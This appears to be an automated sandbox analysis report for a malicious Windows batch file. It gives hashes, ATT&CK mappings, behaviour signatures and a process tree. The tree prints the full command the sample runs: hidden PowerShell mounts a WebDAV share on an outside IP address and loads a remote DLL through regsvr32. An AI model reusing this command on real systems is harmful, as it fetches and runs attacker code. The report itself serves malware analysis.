884cf1647d77c51bc1a1e949dd771db36268f5a99ade6ea8ed855f012f28fbc7

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 19:35

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General

Target

2438777731937615688.bat
Size

17KB
MD5

606a1a5e5bd7f12afe19126107ae58a8
SHA1

5481eee1abb2b712f6745a28d66d5026e8033286
SHA256

884cf1647d77c51bc1a1e949dd771db36268f5a99ade6ea8ed855f012f28fbc7
SHA512

c2b4e179cf03b05480bd80db2e01474a43084670285048b462bc80f5db0f4a4ef5ccb35d7eae653d8ce8686e07d3b7884fb2e42fa35edf29cccf9516a3eb062b
SSDEEP

192:hgb5J8bH/1Pt5COiA525NRGJwuBYtaFhhOEOlQHFZJuaUvuOmCAeTjmb3iaoMkkN:Gb5CH/htqi0RGeta3OqFcmCAeTjs4kXd

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2212	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2212	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2436	wordpad.exe
2436	wordpad.exe
2436	wordpad.exe
2436	wordpad.exe
2436	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 2436	2548	cmd.exe	32
PID 2548 wrote to memory of 2436	2548	cmd.exe	32
PID 2548 wrote to memory of 2436	2548	cmd.exe	32
PID 2548 wrote to memory of 2212	2548	cmd.exe	33
PID 2548 wrote to memory of 2212	2548	cmd.exe	33
PID 2548 wrote to memory of 2212	2548	cmd.exe	33
PID 2212 wrote to memory of 2828	2212	powershell.exe	35
PID 2212 wrote to memory of 2828	2212	powershell.exe	35
PID 2212 wrote to memory of 2828	2212	powershell.exe	35
PID 2212 wrote to memory of 2884	2212	powershell.exe	36
PID 2212 wrote to memory of 2884	2212	powershell.exe	36
PID 2212 wrote to memory of 2884	2212	powershell.exe	36
PID 2212 wrote to memory of 2884	2212	powershell.exe	36
PID 2212 wrote to memory of 2884	2212	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2438777731937615688.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\236742703976.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2828
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\236742703976.dll
    3⤵
    PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2212-21-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2212-22-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download